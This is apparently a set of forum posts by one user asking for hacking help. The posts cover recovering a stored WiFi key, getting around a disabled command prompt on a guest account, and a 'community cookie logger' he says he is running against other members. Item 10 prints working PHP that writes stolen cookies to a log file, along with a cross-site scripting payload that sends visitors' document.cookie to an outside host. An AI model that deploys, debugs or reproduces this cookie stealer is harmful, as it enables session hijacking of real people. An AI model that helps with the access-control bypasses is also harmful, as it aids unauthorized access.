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  1. oh damn, youre right lol. thanks a lot!
  2. I am sorry for the late reply. eMail notificiation didnt seem to work. Well, what i got was a hex kex with which i cant do much. Or can i? (Im sorry, i dont have a sc ready at the moment)
  3. Howdy; I have a Windows XP labtop that connects to a WPA-PSK WiFi network with AES encryption. I do not know the WiFi password. I do have unlimited read and write access to the C drive and all of its subfolders. Is there any way to look up the WiFi as it seems to be stored on the computer, because he connects automatically at login. Thanks a lot in advance, gr edit: oh, and i have access to cmd.exe. if anything else is wanted, ask right away, i can look it up in the next few hours.
  4. thats an interesting idea, if memory serves me right, i once accidentally launched it. Id be very happy if someone could help us with this^^
  5. Hey everyone. First, thanks everyone for your replies. Launching the task manages is disabled and running scripts that are going to open a command prompt do not work neither. Nor command.com. However, it seems like just displaying the shell (im not whether its the right word, excuse my english) window is disabled. I can execute the scripts, but the "shell" window only appears for about a second and is disappearing then. If you even can't open the task manager I think you probably need an account with more privileges or think of getting more "creative". And what would you say, is then more creative? I can not boot from a live CD, because i cant access the BIOS settings. Sure, there are ways to work around this, like setting a jumper, but im searching for other ways without modifying the hardware.
  6. lol, indeed, im born '93 im going to try command.com out tomorrow
  7. i know it was silly but dont laugh at me, how should i know? ive never heard it before.
  8. excuse me? If you mean this as a link: This domain seems to be parked somewhere
  9. Hey everyone, I just have a short question. Assumed, you have physical access to the guest account of a computer. You have not the privileges to run batches or to view the command prompt by executiny 'cmd'. What i want to ask if there is any other way to bypass this and getting access to the command prompt. Thankies Benny
  10. Hey everyone. Im trying to set up a community cookie logger. Ive created a cookielogger.php containing $filename = "logfile.txt"; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, 'a')) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } else { if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } } echo "Temporary Server Error,Sorry for the inconvenience."; fclose($handle); exit; } echo "Temporary Server Error,Sorry for the inconvenience."; exit; ?> Then, an emtpy logfile.txt And a file called meal.gif containing <script>location.href='http://masque.myhost.net/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT> The files look like the following: /htdocs/cookielogger.php /htdocs/logfile.txt /htdocs/meal.gif Read and Write permissions on logfile.txt are enabled (7777). But somehow, the file is after a visit of a community member still empty. Could someone help me with that? Thanks! Benny
  11. Thanks, ill try this also next time.
  12. Well, i can log into this machine with a guest account. Can this help me in any way? Im sorry, but i think you have to tell me step by step, because im totally unexperienced
  13. hes already gone. i got the machine on a market where people sell old stuff they dont need anymore.
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